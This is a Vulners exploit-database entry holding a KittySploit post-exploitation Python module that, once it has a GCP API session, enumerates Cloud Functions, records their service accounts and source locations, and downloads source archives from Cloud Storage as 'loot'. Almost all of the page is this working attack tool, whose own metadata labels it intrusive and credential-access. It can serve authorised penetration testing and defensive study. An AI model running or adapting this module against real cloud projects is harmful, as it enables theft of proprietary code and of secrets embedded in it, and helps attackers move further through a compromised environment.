Lucene search
+L

GCP Cloud Function Sources Loot

🗓️ 29 Jun 2026 19:11:00Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Extract Cloud Functions source locations and download archives in GCP.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import json
from urllib.parse import quote

from kittysploit import *
from lib.post.gcp import GcpPostMixin


class Module(Post, GcpPostMixin):
    __info__ = {
        "name": "GCP Cloud Function Sources Loot",
        "description": "Extract Cloud Functions source locations and download archives when accessible",
        "author": "KittySploit Team",
        "session_type": SessionType.GCP_API,
        "tags": ["gcp", "cloud", "functions", "loot"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['credential_access', 'api_request'],
        'expected_requests': 10,
        'reversible': False,
        'approval_required': True,
        'produces': ['credentials', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': ['shell'],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }

    include_v1 = OptBool(True, "Include Cloud Functions v1", False)
    include_v2 = OptBool(True, "Include Cloud Functions v2", False)
    max_functions = OptInteger(20, "Maximum functions to process", False)
    fetch_source = OptBool(True, "Attempt to download source archive content", False)
    max_source_bytes = OptInteger(16384, "Maximum source bytes to preview per function", False)
    export_json = OptString("", "Optional output JSON file", False)

    def run(self):
        try:
            project_id = self._gcp_project_id()
            if not project_id:
                print_error("Could not resolve project_id from session")
                return False

            functions = self._collect_functions()
            if not functions:
                print_warning("No Cloud Functions found")
                return self.module_result(success=True, data={"functions": []})

            max_functions = max(1, int(self.max_functions or 20))
            loot = []

            print_info(f"Looting source metadata from {min(len(functions), max_functions)} function(s)...")
            for fn in functions[:max_functions]:
                name = str(fn.get("name") or "").rsplit("/", 1)[-1]
                runtime = fn.get("runtime") or (fn.get("buildConfig") or {}).get("runtime")
                source = self._extract_source(fn)
                entry = {
                    "name": name,
                    "full_name": fn.get("name"),
                    "runtime": runtime,
                    "entryPoint": fn.get("entryPoint") or (fn.get("buildConfig") or {}).get("entryPoint"),
                    "serviceAccountEmail": fn.get("serviceAccountEmail") or (fn.get("serviceConfig") or {}).get("serviceAccountEmail"),
                    "source": source,
                }
                print_info(f"Function: {name} runtime={runtime}")
                if source.get("type"):
                    print_info(f"  source: {source['type']}")
                if source.get("uri"):
                    print_info(f"  uri: {source['uri']}")

                if self.fetch_source and source.get("gcs"):
                    preview = self._fetch_gcs_object(source["gcs"].get("bucket"), source["gcs"].get("object"))
                    entry["source_preview"] = preview.get("preview")
                    entry["source_error"] = preview.get("error")
                    if preview.get("preview"):
                        print_success("  source archive preview retrieved")
                    elif preview.get("error"):
                        print_warning(f"  source download failed: {preview['error']}")

                loot.append(entry)
                print_info("-" * 80)

            payload = {"project_id": project_id, "functions": loot}
            exported = self._gcp_export_json(self.export_json, payload) if self.export_json else ""
            if exported:
                print_success(f"Loot exported to {exported}")
            print_success(f"Processed {len(loot)} function(s)")
            return self.module_result(success=True, data=payload)
        except Exception as exc:
            print_error(f"Cloud Function source loot failed: {exc}")
            return False

    def _collect_functions(self):
        functions = []
        if self.include_v1:
            functions.extend(self._gcp_body_dict("functions_v1").get("functions") or [])
        if self.include_v2:
            functions.extend(self._gcp_body_dict("functions_v2").get("functions") or [])
        return functions

    def _extract_source(self, fn):
        if fn.get("sourceArchiveUrl"):
            return {"type": "archive_url", "uri": fn.get("sourceArchiveUrl")}
        if fn.get("httpsTrigger") and fn.get("sourceUploadUrl"):
            return {"type": "upload_url", "uri": fn.get("sourceUploadUrl")}

        build_config = fn.get("buildConfig") or {}
        storage = (build_config.get("source") or {}).get("storageSource") or {}
        if storage.get("bucket") and storage.get("object"):
            return {
                "type": "gcs",
                "uri": f"gs://{storage['bucket']}/{storage['object']}",
                "gcs": {"bucket": storage["bucket"], "object": storage["object"], "generation": storage.get("generation")},
            }

        repo_source = (build_config.get("source") or {}).get("repoSource") or {}
        if repo_source:
            return {"type": "repo", "repoSource": repo_source}

        return {"type": "unknown"}

    def _fetch_gcs_object(self, bucket, object_name):
        if not bucket or not object_name:
            return {"error": "missing_gcs_reference"}
        max_bytes = max(256, int(self.max_source_bytes or 16384))
        encoded = quote(str(object_name), safe="")
        url = (
            f"https://storage.googleapis.com/storage/v1/b/{quote(str(bucket), safe='')}"
            f"/o/{encoded}?alt=media"
        )
        result = self._gcp_get(url)
        if not result.get("ok"):
            return {"error": (result.get("raw") or "")[:300]}
        body = result.get("body")
        if isinstance(body, (dict, list)):
            preview = json.dumps(body, ensure_ascii=False)[:max_bytes]
        else:
            preview = str(body or "")[:max_bytes]
        return {"preview": preview}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 20:51Current
5.8Medium risk
Vulners AI Score5.8
1